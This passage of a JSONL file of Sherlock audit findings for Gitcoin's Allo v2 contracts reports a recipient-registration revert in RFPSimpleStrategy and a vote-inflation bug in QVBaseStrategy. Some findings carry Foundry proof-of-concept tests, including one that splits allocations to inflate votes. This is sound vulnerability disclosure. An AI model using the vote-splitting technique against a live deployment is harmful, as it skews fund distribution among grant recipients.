UNAUTHORIZED();\n}\n\n...\n\n// If the recipient address is the zero address this will revert\nif (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n```\n\n\n## PoC\n```solidity\n// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity ^0.8.19;\n\nimport \"forge-std/Test.sol\";\n\n// Strategy contracts\nimport {RFPSimpleStrategy} from \"../../../contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\";\n// Internal libraries\nimport {Errors} from \"../../../contracts/core/libraries/Errors.sol\";\nimport {Metadata} from \"../../../contracts/core/libraries/Metadata.sol\";\nimport {Native} from \"../../../contracts/core/libraries/Native.sol\";\n// Test libraries\nimport {AlloSetup} from \"../shared/AlloSetup.sol\";\nimport {RegistrySetupFull} from \"../shared/RegistrySetup.sol\";\n\ncontract AuditTest is Test, RegistrySetupFull, AlloSetup, Native, Errors {\n bool public useRegistryAnchor;\n RFPSimpleStrategy public strategy;\n\n function setUp() public {\n __RegistrySetupFull();\n __AlloSetup(address(registry()));\n\n useRegistryAnchor = true;\n\n strategy = new RFPSimpleStrategy(address(allo()), \"RFPSimpleStrategy\");\n\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy(\n poolProfile_id(),\n address(strategy),\n abi.encode(1e18, useRegistryAnchor, true),\n NATIVE,\n 0,\n Metadata({protocol: 1, pointer: \"PoolMetadata\"}),\n pool_managers()\n );\n }\n\n function test_audit_revertRegisterRecipient() public {\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n\n bytes memory data = abi.encode(poolProfile_anchor(), 1e18, metadata);\n\n vm.prank(address(allo()));\n vm.expectRevert(abi.encodeWithSelector(RECIPIENT_ERROR.selector, poolProfile_anchor()));\n strategy.registerRecipient(data, pool_manager1()); // will revert\n }\n}\n```\n\n## Impact\nThe strategy is unusable in this case. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L320-L346\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\n\n## Tool used\nManual Review\n\n## Recommendation\nReview the logic of the function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/138.md"}} +{"title":"`_registerRecipient` always reverts if `useRegistryAnchor = true` in `RFPSimpleStrategy`","severity":"medium","body":"Glamorous Hazelnut Haddock\n\nmedium\n\n# `_registerRecipient` always reverts if `useRegistryAnchor = true` in `RFPSimpleStrategy`\n`_registerRecipient` always reverts if `useRegistryAnchor = true` in `RFPSimpleStrategy` due to uninitialised `recipientAddress`.\n\n## Vulnerability Detail\nIn `_registerRecipient`, if `useRegistryAnchor = true`, `recipientAddress` will remain `0` since it's only initialised in the other branch (and nowhere else).\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L362\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n }\n ...\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n```\nConsequently, the function will always revert on the zero address check for `recipientAddress`.\n\n## Impact\n`_registerRecipient` always reverts if `useRegistryAnchor = true` in `RFPSimpleStrategy`. Since `useRegistryAnchor` can only be set on initialisation, registrations will be permanently bricked in this case necessitating redeployment and pool creation. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L362\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider retrieving `recipientAddress` from `data`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/127.md"}} +{"title":"registerRecipient won't work when useRegistryAnchor is true","severity":"medium","body":"Dapper Lead Shell\n\nmedium\n\n# registerRecipient won't work when useRegistryAnchor is true\n\nIn the function _registerRecipient in RFPSimpleStartegy.sol when useRegistryAnchor is true, the function will always fail resulting in recipients unable to register.\n\n## Vulnerability Detail\n\nif useRegistryAnchor is true, the variable recipientAddress will never be set, which makes the condition in line 363 that checks if it is not 0, will always fail, resulting in a revert.\n\n## Impact\n\nRFPSimpleStartegy with useRegistryAnchor enabled will not work as they won't be able to receive recipients.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nSet the recipientAddress variable when useRegistryAnchor is true.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/120.md"}} +{"title":"RFPSimpleStrategy `_registerRecipient` always revert if `useRegistryAnchor` is true","severity":"medium","body":"Special Eggplant Falcon\n\nhigh\n\n# RFPSimpleStrategy `_registerRecipient` always revert if `useRegistryAnchor` is true\nThe RFPSimpleStrategy contract has a security issue related to the initialization of the `useRegistryAnchor` parameter. When `useRegistryAnchor` is set to true, the `_registerRecipient` function will always revert with the `RECIPIENT_ERROR` message due to the `recipientAddress` being initialized as address(0).\n\n## Vulnerability Detail\nInside the `_registerRecipient` function, the input calldata `_data` is decoded into `(address recipientId, uint256 proposalBid, Metadata metadata)`. However, the variable `recipientAddress` remains as address(0) and is only properly decoded when `useRegistryAnchor` is set to false. \nConsequently, line 367 if `(recipientAddress == address(0))` revert `RECIPIENT_ERROR(recipientId)`; will always trigger a revert if `useRegistryAnchor` is true.\n\n## Impact\n1. When the `useRegistryAnchor` parameter is initialized as true, the `_registerRecipient` function will always revert with the `RECIPIENT_ERROR` message. This means that the intended functionality of registering recipients will be completely broken, rendering the contract unable to perform its core operations as expected.\n2. Loss of Funds or Opportunities: The inability to register recipients can have financial implications. If the contract relies on registering recipients to execute certain actions or distribute funds, the security issue might prevent those actions from occurring. This could result in potential financial losses or missed opportunities for both the contract owner and recipients.\n\n## Code Snippet\n[RFPSimpleStrategy.sol - Line 367](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L367)\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n }\n // Check if the metadata is required and if it is, check if it is valid, otherwise revert\n // If the recipient address is the zero address this will revert\n @audit-issue always revert if useRegistryAnchor=true\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue, proper initialization of the recipientAddress variable is required when useRegistryAnchor is set to true. This ensures that the function behaves as intended and does not unconditionally revert","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/070.md"}} +{"title":"RFPSimpleStrategy will not work when useRegistryAnchor is set","severity":"medium","body":"Savory Boysenberry Cobra\n\nmedium\n\n# RFPSimpleStrategy will not work when useRegistryAnchor is set\nRFPSimpleStrategy will not work when `useRegistryAnchor` is set as `_registerRecipient` will always revert.\n## Vulnerability Detail\nWhen user is registering, then `_registerRecipient` function is called.\nThis function requires that [`recipientAddress` param is not 0](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362).\n\nThe problem is that in case if `useRegistryAnchor` is set, then this variable [is never initialized](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L329-L332).\n## Impact\nRFPSimpleStrategy will not work at all\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\n`recipientAddress` should be set when `useRegistryAnchor` is set.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/049.md"}} +{"title":"Allocator voiceCreditsCastToRecipient is incremented by the totalCredits instead of the new credits","severity":"medium","body":"Brilliant Carmine Porpoise\n\nhigh\n\n# Allocator voiceCreditsCastToRecipient is incremented by the totalCredits instead of the new credits\n\nWhen an allocator allocates votes to the recipients, `totalCredits` is used to increment the `allocator.voiceCreditsCastToRecipient[_recipientId]` but the new credits should be used instead because the `totalCredits` is the sum of the old credits + the new credits. \n\n\n## Vulnerability Detail\n\nIn `QVBaseStrategy.sol:: _qv_allocate()`, the `_allocator.voiceCreditsCastToRecipient` is used to track the credits that the allocator has already casted but the problem is that it is incremented by `totalCredits` instead of the new credits. \n\n`totalCredits` equals to `_voiceCreditsToAllocate + creditsCastToRecipient` but instead we only need to increment it by the `_voiceCreditsToAllocate` which are the new credits that are being allocated. \n\nSo if an allocator allocates 100 voiceCredits for the first time and then the second time 100 more, the `_allocator.voiceCreditsCastToRecipient[_recipientId]` will be 300 which is much bigger than its supposed to be and the 3rd time he allocates the votes the results will be completely different from what they are supposed to be\n\n## Impact\n\nThe results arent going to be correct and the `_recipient.totalVotesReceived` will be much bigger than its supposed to be which will lead to unfair distribution of funds. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n```solidity\n517: uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n518: uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n519: \n520: // get the total credits and calculate the vote result\n521: uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n522: uint256 voteResult = _sqrt(totalCredits * 1e18);\n523: \n524: // update the values\n525: voteResult -= votesCastToRecipient;\n526: totalRecipientVotes += voteResult;\n527: _recipient.totalVotesReceived += voteResult;\n528: \n529: _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n530: _allocator.votesCastToRecipient[_recipientId] += voteResult;\n```\n\nAs you can see here the `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;` which will add the old credits + the new credits. \n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIncrement by the `_voiceCreditsToAllocate` instead of the `totalCredits`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/958.md"}} +{"title":"QVBaseStrategy: incorrect calculation in voice credits allocation","severity":"medium","body":"Micro Heather Rabbit\n\nhigh\n\n# QVBaseStrategy: incorrect calculation in voice credits allocation\n\nThe mistake in the calculation leads to faster increasing of votes if `_sender` several times allocates a small amount of credits than at once the whole amount.\n\n## Vulnerability Detail\n\nThe `QVBaseStrategy._qv_allocate` function allocates voice credits to a recipient. There is a mistake at the line L#529 which lets increasing `_recipient.totalVotesReceived` by spending small amounts of credits.\n```solidity\n506 function _qv_allocate(\n507 Allocator storage _allocator,\n508 Recipient storage _recipient,\n509 address _recipientId,\n510 uint256 _voiceCreditsToAllocate, // sending small amounts (A) // 1 // 2 // 1 // sending all credits at once (B) // 4\n511 address _sender\n512 ) internal onlyActiveAllocation {\n513 // check the `_voiceCreditsToAllocate` is > 0\n514 if (_voiceCreditsToAllocate == 0) revert INVALID();\n515\n516 // get the previous values\n517 uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId]; // A // 0 // 1 // 4 // B // 0\n518 uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId]; // A // 0 // 10e9 // 1 732 050 807 // B // 0\n519\n520 // get the total credits and calculate the vote result\n521 uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient; // A // 1 // 1 + 2 = 3 // 4 + 1 = 5 // B // 4\n522 uint256 voteResult = _sqrt(totalCredits * 1e18); // A // 10e9 // 1 732 050 807 // 2 236 067 977 // B // 2 000 000 000\n523\n524 // update the values\n525 voteResult -= votesCastToRecipient; // A // 10e9 - 0 // 1 732 050 807 - 10e9 = 732 050 807 // 2 236 067 977 - 1 732 050 807 = 504 017 170 // B // 2 000 000 000 - 0\n526 totalRecipientVotes += voteResult; // A // 10e9 // 10e9 + 732 050 807 = 1 732 050 807 // 2 236 067 977 // B // 2 000 000 000\n527 _recipient.totalVotesReceived += voteResult; // A // 10e9 // 1 732 050 807 // 2 236 067 977 // B // 2 000 000 000\n528\n529 _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; // A // 0 + 1 // 1 + 3 = 4 // 4 + 5 = 9 // B // 4\n530 _allocator.votesCastToRecipient[_recipientId] += voteResult; // A // 10e9 // 1 732 050 807 // 2 236 067 977 // B // 2 000 000 000\n531\n532 // emit the event with the vote results\n533 emit Allocated(_recipientId, voteResult, _sender);\n534 }\n``` \nIn the shown case we receive `2 236 067 977` instead of `2 000 000 000` for `4` credits by allocating small amounts.\nThere should be `=` instead of `+=` at the line L#529.\n\n## Impact\n\n`_sender` can use less credits for the same amount of votes if several times allocates small amounts of credits.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nFix the mistake.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/935.md"}} +{"title":"wrong vote calculation","severity":"medium","body":"Short Coffee Crab\n\nhigh\n\n# wrong vote calculation\nin the function QVBaseStrategy._qv_allocate when updating the vote it the calculation is wrong\n\n\n## Vulnerability Detail\nin the function qv_allocate line 529 when updating the _allocator.voiceCreditsCastToRecipient it is adding the value twice it is adding the previous _allocator.voiceCreditsCastToRecipient and the new amount the user allocated plus the previous _allocator.voiceCreditsCastToRecipient\n\nline 521 `uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;`\nvoiceCreditsToAllocate is the new allocated vote the user wanted to allocate \ncreditsCastToRecipient is _allocator.voiceCreditsCastToRecipient[_recipientId];\nwhich mean totalcredits is the new vote plus the previous one this should be fine but in line 529 it is adding the totalcredit to the allocator.voiceCreditsCastToRecipient \n` _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;`\n## Impact\nwrong voting calculation \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n## Tool used\n\nManual Review\n\n## Recommendation\ninstead it should be ` _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/907.md"}} +{"title":"Malicious user can split the vote in QVBaseStrategy to get more votes.","severity":"medium","body":"Oblong Clay Kangaroo\n\nhigh\n\n# Malicious user can split the vote in QVBaseStrategy to get more votes.\nIncorrect calculation of `voiceCreditsCastToRecipient` in `_qv_allocate` of `QVBaseStrategy`, resulting in more votes than intended.\n## Vulnerability Detail\n\nThe `_qv_allocate` is performed as follows.\n\n1. Gets the current credit spent by the `sender` on `_recipientId` and the current vote count for `_recipientId`.\n\n```solidity\n// get the previous values\nuint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\nuint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n```\n\n2. Add the credit already used for `_recipientId` and the credit to be used this time and store it in `totalCredits`, and sqrt the result in `voteResult`.\n\n```solidity\n// get the total credits and calculate the vote result\nuint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\nuint256 voteResult = _sqrt(totalCredits * 1e18);\n```\n\n3. Subtract the amount of votes already cast by the sender from `voteResult` to get the votes for this credit. Add this to `totalRecipientVotes`, `_recipient.totalVotesReceived`\n\n```solidity\nvoteResult -= votesCastToRecipient;\ntotalRecipientVotes += voteResult;\n_recipient.totalVotesReceived += voteResult;\n```\n\n4. Add `totalCredits` to `_allocator.voiceCreditsCastToRecipient` and `voteResult` to `_allocator.votesCastToRecipient`.\n\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n_allocator.votesCastToRecipient[_recipientId] += voteResult;\n```\n\nThe vulnerability exists in #4, where `totalCredits` is the sum of the previously used credit and the credit to be used, as seen in #2. Since `_allocator.voiceCreditsCastToRecipient` already stores the value of the previously used credit, the result is that the previously used credit is added twice.\n\nPOC:\n\nNormal case: \n\nIf user allocated 100 at once\n\n```solidity\n[PASS] test_allocate_manipulate() (gas: 304252)\nLogs:\n voiceCreditsCastToRecipient 100\n votesCastToRecipient 10000000000\n```\n\nTest code:\n\n```solidity\nfunction test_allocate_manipulate() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n\n vm.warp(allocationStartTime + 10);\n bytes memory allocateData;\n\n vm.stopPrank();\n\n for(uint256 i =0;i<100;i++) {\n allocateData = __generateAllocation(recipientId, i+1);\n vm.prank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, allocator);\n }\n }\n```\n\nResult:\n\n```solidity\nLogs:\n voiceCreditsCastToRecipient 1\n votesCastToRecipient 1000000000\n voiceCreditsCastToRecipient 4\n votesCastToRecipient 1732050807\n voiceCreditsCastToRecipient 11\n votesCastToRecipient 2645751311\n voiceCreditsCastToRecipient 26\n votesCastToRecipient 3872983346\n voiceCreditsCastToRecipient 57\n votesCastToRecipient 5567764362\n voiceCreditsCastToRecipient 120\n votesCastToRecipient 7937253933\n voiceCreditsCastToRecipient 247\n votesCastToRecipient 11269427669\n...\n votesCastToRecipient 99516432383215196322247\n voiceCreditsCastToRecipient 39614081257132168796771975072\n votesCastToRecipient 140737488355327999999999\n voiceCreditsCastToRecipient 79228162514264337593543950239\n votesCastToRecipient 199032864766430392644494\n voiceCreditsCastToRecipient 158456325028528675187087900574\n votesCastToRecipient 281474976710655999999999\n voiceCreditsCastToRecipient 316912650057057350374175801245\n votesCastToRecipient 398065729532860785288988\n voiceCreditsCastToRecipient 633825300114114700748351602588\n votesCastToRecipient 562949953421311999999999\n voiceCreditsCastToRecipient 1267650600228229401496703205275\n votesCastToRecipient 796131459065721570577976\n voiceCreditsCastToRecipient 2535301200456458802993406410650\n votesCastToRecipient 1125899906842623999999999\n```\n\n\n## Impact\nThis can be exploited to manipulate voting by allowing much more votes to be cast for the same amount of credits.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n## Tool used\n\nManual Review\n\n## Recommendation\nChange like below\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/873.md"}} +{"title":"since `_allocator.voiceCreidtsCastToReceipeints+=totalCredits` is wrong and will be infliated not like the spec","severity":"medium","body":"Jumpy Pear Beaver\n\nhigh\n\n# since `_allocator.voiceCreidtsCastToReceipeints+=totalCredits` is wrong and will be infliated not like the spec\nsince there is a wrong adding on to `voiceCreditsCastToRecipeints` the recipients can get substantially more votes \n## Vulnerability Detail\nso for example \nIf Alice the allocator gives 5 credits to Bob \nthen a day later Alice gives another 5 credits to Bob\nbobs total credits=15 which it should not be.\nso bob total `votes=3162277660 = sqrt(10e18)`\nThen sam the allocator gives 1 credit to Bob\nwhich should only be 11 credits but instead he gets credits 16 which is `4000000000` votes \n\nThis is because \n```solidity\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\none the first call from Alice it will be correct and `voiceCreditsCastToRecipient=5`\nThe second call \n`creditsCastToReceipient=5`\n`totalCredits=5+5`\nso when we update `voiceCreditsCastToReceipint+=10` it going to `=15`\n## Impact\n1. The allocator can do this on purpose to get their favorite recipient more credits exponentially \nand then someone else allocates 1 credit giving the recipient way more votes or the allocator can just use 9 credits and then use 1 getting more votes\nthen when `_distribute` is called the recipient will get more funds since they got more votes \n## Code Snippet\n```solidity\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n// @audit we are += the totalCredits instead of = which causes the issue \n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n## Tool used\n\nManual Review\n\n## Recommendation\ninstead of +=\nit should be = \n\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId]= totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/854.md"}} +{"title":"Incorrect Calculation in Voice Credit Allocation","severity":"medium","body":"Fierce Pearl Falcon\n\nhigh\n\n# Incorrect Calculation in Voice Credit Allocation\n\nThe miscalculation in voice credit allocation results in an inflated vote count, skewing the intended distribution of funds.\n\n## Vulnerability Detail\n\nThe `_qv_allocate` function in the QVBaseStrategy calculates voice credits and votes for a recipient by retrieving prior values and summing them with new voice credits. This leads to the calculation of total accumulated credits and the resulting vote.\n\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId]; \n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517-L522\n\nThe issue arises when updating the `_allocator.voiceCreditsCastToRecipient[_recipientId]` variable. It should only incorporate the incremental voice credits to the existing sum, rather than the total accumulated credits.\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\nIt leads to an inflated `voiceCreditsCastToRecipient`. If an allocator allocates multiple times to a single recipient, both the `voiceCreditsCastToRecipient` and the `vote` result will be inaccurately high.\n\n## Impact\n\nThe inflated vote count allows recipients to receive more funds than they should, undermining the system's fairness and security.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nModify the code to update only the incremental voice credits, not the total sum:\n\n```diff\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n+ _allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/785.md"}} +{"title":"QVBaseStrategy is not following quadratic voting strategies","severity":"medium","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# QVBaseStrategy is not following quadratic voting strategies\n QVBaseStrategy is not following quadratic voting strategies\n\n## Vulnerability Detail\n**_allocator.voiceCreditsCastToRecipient[_recipientId]** represents the total credits an allocator has voted for a recipient. This value is updated every time allocator voted. **totalCredits** on line 521 is the new value, so line 529 should be changed to\n**_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;**\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L516-L530\n\n## Impact\nThe calculation method for \"total credits\" is incorrect, resulting in QVBaseStrategy not following quadratic voting strategies.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\nLine 529 should be changed to\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/781.md"}} +{"title":"Allocation can be set invalid by incorrect calculation for quadratic voting strategies in QVBaseStrategy.","severity":"medium","body":"Hot Zinc Hippo\n\nhigh\n\n# Allocation can be set invalid by incorrect calculation for quadratic voting strategies in QVBaseStrategy.\nIn line 529 of `QVBaseStrategy`, operator `+=` is used mistakenly instead of operator `=`. As a result, the allocation can be calculated incorrectly.\n\n## Vulnerability Detail\n\nIn function `_qv_allocate` of `QVBaseStrategy`, an allocator allocate more credit with amount `_voiceCreditsToAllocate` to a recipient with `_recipientId`.\n\n```solidity\n /// @notice Allocate voice credits to a recipient\n /// @dev This can only be called during active allocation period\n /// @param _allocator The allocator details\n /// @param _recipient The recipient details\n /// @param _recipientId The ID of the recipient\n /// @param _voiceCreditsToAllocate The voice credits to allocate to the recipient\n /// @param _sender The sender of the transaction\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = 